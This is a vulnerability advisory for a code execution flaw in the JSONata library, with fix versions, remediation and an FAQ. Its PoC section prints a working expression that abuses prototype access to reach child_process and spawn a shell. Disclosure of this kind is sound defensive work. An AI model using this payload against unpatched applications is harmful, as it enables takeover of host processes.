CVE-2026-77413: JSONata: Arbitrary Code Execution via crafted JSONata expressions
Impact
Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.
PoC
js import jsonata from "jsonata";
const expression = jsonata( ( lookupSetter('proto')(constructor); defineGetter('l', constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) );
await expression.evaluate({});
Other sources
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the childprocess module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 2.2.0 - Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 1.8.8 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 1.8.8 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.2.0
Event History
Frequently Asked Questions
Who is exposed to this vulnerability?
Applications using JSONata versions earlier than 1.8.8 or 2.2.0 are exposed if an attacker can supply or control a JSONata expression that the application evaluates.
What does an attacker need to exploit it?
The attacker needs the ability to provide a crafted JSONata expression for evaluation. The provided proof of concept uses access to inherited prototype members to reach Node.js child_process functionality and run a shell command.
Which versions contain the fix?
The issue is fixed in JSONata 1.8.8 and 2.2.0. The 2.2.0 fix was ported to the 1.8.8 release.
What can be done if upgrading is not immediately possible?
Do not evaluate JSONata expressions supplied or influenced by untrusted users. Restrict expression inputs to trusted, application-controlled expressions until the dependency can be updated.